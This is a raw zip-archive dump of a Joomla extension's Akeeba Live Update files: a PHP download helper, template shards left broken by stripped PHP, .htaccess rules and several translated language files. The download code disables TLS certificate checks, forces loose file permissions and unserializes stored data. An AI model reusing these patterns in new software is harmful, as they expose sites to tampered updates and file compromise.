= json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->set("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->get("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} } PK@y>\"QIx#x#3components/com_csvi/liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. $empty = ''; if( JFile::write($target, $empty) ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); if(version_compare(JVERSION,'3.0','ge')) { $ftp = JClientFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } else { if(version_compare(JVERSION,'3.0','ge')) { $ftp = JClientFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } else { $ftp = JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } } } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PK@y>\keKpp9components/com_csvi/liveupdate/classes/tmpl/nagscreen.phpnuW+A */ defined('_JEXEC') or die(); $stability = JText::_('LIVEUPDATE_STABILITY_'.$this->updateInfo->stability); ?>

      updateInfo->version, $stability) ?>

      Powered by Akeeba Live Update

      PK@y>\S27components/com_csvi/liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = $this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>
      '; options[++r] = data[i].user_id; options[++r] = ''; options[++r] = data[i].user_name; options[++r] = '
      '; options[++r] = data[i].product_sku; options[++r] = ''; options[++r] = data[i].product_name; options[++r] = '
      '; options[++r] = data[i].product_sku; options[++r] = ''; options[++r] = data[i].product_name; options[++r] = '

      Powered by Akeeba Live Update

      PK@y>\)5components/com_csvi/liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ۭnn;components/com_csvi/liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PK@y>\*Y8components/com_csvi/liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); JHtml::_('behavior.framework'); JHtml::_('behavior.modal'); ?>
      updateInfo->releasenotes): ?>
      updateInfo->releasenotes ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>
      updateInfo->releasenotes) || !empty($this->updateInfo->infoURL)): ?>
      updateInfo->releasenotes): ?> addScriptDeclaration($script,'text/javascript'); ?> updateInfo->releasenotes && $this->updateInfo->infoURL): ?>  •  updateInfo->infoURL): ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PK@y>\)0components/com_csvi/liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\E Bcomponents/com_csvi/liveupdate/language/lt-LT/lt-LT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Automatinis atnaujinimas" LIVEUPDATE_NOTSUPPORTED_HEAD="Šiame serveryje automatinis atnaujinimas negalimas" LIVEUPDATE_NOTSUPPORTED_INFO="Jūsų serveris rodo, kad automatinis atnaujinimas yra negalimas. Prašome susisiekti su savo tinklapio talpintojais ir paprašyti įgalinti cURL PHP plėtinį arba aktyvuoti URL fopen(). Jei šie plėtiniai jau yra įgalinti, paprašykite jų sukonfigūruoti savo ugniasienę taip, kad ji leistų prieigą prie šios URL:" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Jūs visada galite atnaujinti %s rankiniu būdu, aplankydami mūsų tinklapį, parsisiųsdami naujausią programos laidą ir įdiegdami standartiniu Joomla! Būdu." LIVEUPDATE_STUCK_HEAD="Automatinis atnaujinimas nurodė, kad įvyko programinė klaida" LIVEUPDATE_STUCK_INFO="Automatinis atnaujinimas nurodė, kad bandant susisiekti su atnaujinimų serveriu įvyko programinė klaida. Paprastai tai rodo, kad tinklapio talpintojas aktyviai blokuoja ryšius su išorinėmis svetainėmis. Jei norite pabandyti iš naujo parsisiųsti atnaujinimo informaciją, prašome spragtelėti žemiau esantį mygtuką "Atnaujinti informaciją". Jei parodomas tuščias puslapis, norint išspręsti šią problemą turėsite kreiptis į savo tinklapio talpintoją." LIVEUPDATE_ERROR_NEEDSAUTH="Norėdami atsinaujinti į naujausią programos versiją, turite nurodyti savo prisijungimo vardą/slaptažodį arba Parsisiuntimo ID komponento parametruose. Kol to nepadarysite, atnaujinimo mygtukas išliks neaktyvus." LIVEUPDATE_HASUPDATES_HEAD="Yra nauja versija" LIVEUPDATE_NOUPDATES_HEAD="Jūs turite naujausią programos versiją." LIVEUPDATE_CURRENTVERSION="Įdiegta versija" LIVEUPDATE_LATESTVERSION="Naujausia versija" LIVEUPDATE_LATESTRELEASED="Naujausios versijos išleidimo data" LIVEUPDATE_DOWNLOADURL="Tiesioginė parsisiuntimo nuoroda" LIVEUPDATE_REFRESH_INFO="Atnaujinti informaciją" LIVEUPDATE_DO_UPDATE="Atnaujinti į naujausią versiją" LIVEUPDATE_FTP_REQUIRED="Automatinis atnaujinimas nustatė, kad norint atsisiųsti ir įdiegti atnaujinimą turi būti naudojamas FTP sluoksnis, tačiau Jūs nenurodėte savo FTP prisijungimo duomenų globaliose savo tinklapio Joomla! nuostatose.

      Jei norite įdiegti naujinimą, nurodykite FTP prisijungimo duomenis." LIVEUPDATE_FTP="FTP informacija" LIVEUPDATE_FTPUSERNAME="FTP naudotojo vardas" LIVEUPDATE_FTPPASSWORD="FTP slaptažodis" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Atsisiųsti ir įdiegti naujinimą" LIVEUPDATE_DOWNLOAD_FAILED="Nepavyko atsisiųsti atnaujinimo paketo. Įsitikinkite, kad į tinklapio laikinąjį aplanką leidžiama rašyti ir tai, kad Jūsų tinklapio globaliose Joomla! nuostatose įgalintas FTP naudojimas." LIVEUPDATE_EXTRACT_FAILED="Nepavyko išpakuoti atnaujinimo paketo. Prašome bandyti atsinaujinti rankiniu būdu." LIVEUPDATE_INVALID_PACKAGE_TYPE="Neteisingas paketo tipas. Atnaujinimas negalimas" LIVEUPDATE_INSTALLEXT="Įdiegti %s %s" LIVEUPDATE_ERROR="Klaida" LIVEUPDATE_SUCCESS="Pavyko" LIVEUPDATE_ICON_UNSUPPORTED="Automatinis atnaujinimas nepalaikomas" LIVEUPDATE_ICON_CRASHED="Įvyko automatinio atnaujinimo programinis lūžis" LIVEUPDATE_ICON_CURRENT="Jūs turite naujausią programos versiją." LIVEUPDATE_ICON_UPDATES="GALIMAS ATNAUJINIMAS! NORĖDAMI ATSINAUJINTI SPRAGTELĖKITE ČIA" PK@y>\)7components/com_csvi/liveupdate/language/lt-LT/.htaccessnuW+A Order allow,deny Deny from all PK@y>\׳l Bcomponents/com_csvi/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerar att Live Update inte stöds. Kontakta ditt webbhotell och be dem aktivera PHP-tillägget cURL och att aktivera URL fopen() wrappers. Om detta redan är aktiverat skall du be dem konfiurera brandväggen så att den accepterar anslutningar från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s manuellt genom att vår webbplats och ladda ned senaste utgåvan och installera via Joomla som vanligt." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som krashad" LIVEUPDATE_STUCK_INFO="Live Update har indikerat att den kraschade förra gången den försökte kontakta uppdateringsservern. Detta händer vanligen om kommunikationen med externa webbplatser aktivt har blockerats. Om du vill fortsätta hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinfo på nytt" här nedan. Om detta resluterar i en blank sida skall du kontakta ditt webbhotell och rapportera ärendet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange användarnamn/lösenord eller Nedladdnings-ID i komponentens Inställningar innan du försöker uppdatera till senaste version. Uppgraderingsknappen kommer att vara inaktiv till dess detta är gjort." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version tillgänglig" LIVEUPDATE_NOUPDATES_HEAD="Du har den senatste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste utgåvodatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update har upptäckt att den behöver använda FTP för att kunna ladda ned och installera uppdateringen. Du har inte sparat din FTP-inloggningsinfo i Joomlas globala inställningar.

      Ange ditt FTP användarnamn och lösenord nedan för att fortsätta med uppdateringen." LIVEUPDATE_FTP="FTP-Information" LIVEUPDATE_FTPUSERNAME="FTP användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringen misslyckades. Kontrollera att temp-mappen är skrivbar och att du aktiverat Joomla!s FTP-lager i de globala inställningarna för din webbplats." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdaterinspaketet misslyckades. Försök att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installera %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="Klart" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Release notes" LIVEUPDATE_READMOREINFO="Läs mer"PK@y>\)7components/com_csvi/liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R Bcomponents/com_csvi/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelleme" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s Kuruldu" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarıyla" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN." LIVEUPDATE_RELEASEINFO="Bilgi" LIVEUPDATE_RELEASENOTES="Yayın notları" LIVEUPDATE_READMOREINFO="Devamını oku"PK@y>\)7components/com_csvi/liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\z --Bcomponents/com_csvi/liveupdate/language/es-ES/es-ES.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Translators Isidro Baquero - Carlos M. Cámara - Gnumla.com ; Translation Copyright Gnumla.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Actualización automática" LIVEUPDATE_NOTSUPPORTED_HEAD="Este servidor no soporta la Actualización automática" LIVEUPDATE_NOTSUPPORTED_INFO="Su servidor indica que no soporta la Actualización automática. Por favor, contacte con su proveedor de hosting y pídale que active la función cURL de PHP, o bien que active los wrappers de URL fopen(). Si alguna de las opciones anteriores ya está activada, por favor pídale que que configure su cortafuegos de manera que permita el acceso a la siguiente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Siempre puede actualizar %s manualmente visitando nuestro sitio, descargando la última versión e instalándola mediante el instalador del gestor de extensiones de Joomla!"; LIVEUPDATE_STUCK_HEAD="La actualización automática informa de un fallo" LIVEUPDATE_STUCK_INFO="La actualización automática determinó que hubo un fallo la última vez que intentó contactar con el servidor de actualizaciones. Esto habitualmente ocurre cuando un host bloquea activamente las comunicaciones con sitios externos. Si desea trata de obtener de nuevo la información sobre nuevas actualizaciones, por favor haga clic en el botón "Refrescar la información sobre actualizaciones" que hay a continuación. Si tras hacerlo obtiene una página en blanco, por favor contacte con su proveedor de hosting y coméntele el problema." LIVEUPDATE_ERROR_NEEDSAUTH="Debe introducir su nombre de usuario/contraseña su ID de Descarga (Download ID) en los parámetros de configuración del componente antes de intentar actualizar a la última versión. El botón de actualización permanecerá deshabilitado hasta que lo haga." LIVEUPDATE_HASUPDATES_HEAD="Hay disponible una nueva versión" LIVEUPDATE_NOUPDATES_HEAD="Ya tiene instalada la última vesión" LIVEUPDATE_CURRENTVERSION="Versión instalada" LIVEUPDATE_LATESTVERSION="Última versión" LIVEUPDATE_LATESTRELEASED="Fecha de la última versión" LIVEUPDATE_DOWNLOADURL="URL de descarga directa" LIVEUPDATE_REFRESH_INFO="Refrescar la información de actualización" LIVEUPDATE_DO_UPDATE="Actualizar a la última versión" LIVEUPDATE_FTP_REQUIRED="La actualización automática determinó que es necesario usar FTP para poder descargar e instalar su actualización, pero usted aún no ha guardado la información de inicio de sesión FTP en la configuración global de Joomla!.

      Por favor introduzca el nombre de usuario y la contraseña de su cuenta FTP a continuación para proceder con la actualización." LIVEUPDATE_FTP="Información FTP" LIVEUPDATE_FTPUSERNAME="Usuario FTP" LIVEUPDATE_FTPPASSWORD="Contraseña FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Descargar e instalar la actualización" LIVEUPDATE_DOWNLOAD_FAILED="La descarga del paquete de actualización no se pudo completar. Asegúrese de que su directorio temporal (temp) tiene permisos de escritura o de que ha habilitado la configuración de FTP en la configuración global de su sitio." LIVEUPDATE_EXTRACT_FAILED="La extracción de los archivos del paquete de actualización falló. Por favor, trate de actualizar la extensión manualmente." LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de paquete erróneo. No se puede proceder con la actualización." LIVEUPDATE_INSTALLEXT="Instalando %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Éxito" LIVEUPDATE_ICON_UNSUPPORTED="La actualización automática no está soportada" LIVEUPDATE_ICON_CRASHED="La actualización automática falló" LIVEUPDATE_ICON_CURRENT="Ya tiene la última versión" LIVEUPDATE_ICON_UPDATES="¡ACTUALIZACIÓN DISPONIBLE! CLIC PARA INSTALAR." PK@y>\)7components/com_csvi/liveupdate/language/es-ES/.htaccessnuW+A Order allow,deny Deny from all PK@y>\*:Bcomponents/com_csvi/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; @package Akeeba Live Update ; @subpackage it-IT.liveupdate.ini ; @description Traduzione italiana - it-IT ; @version 3.3.6 ; @author Roberto Restelli (roberto@msoutlook.it) ; @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; @license Licensed under the GNU LGPLv3 or later ; @note All ini files need to be saved as UTF-8 - No BOM LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattate il fornitore e chiedete di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, fate verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che, nell'ultimo tentativo di contattare il server di aggiornamento, l'operazione è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazione con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattate il vostro fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e Password oppure il proprio Download ID tra i parametri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'inserimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili nuovi aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate correttamente le informazioni di configurazione in Joomla. Inserite qui sotto Username e Password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificate che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funziona correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili nuovi aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PK@y>\)7components/com_csvi/liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_csvi/liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\OX X Bcomponents/com_csvi/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de 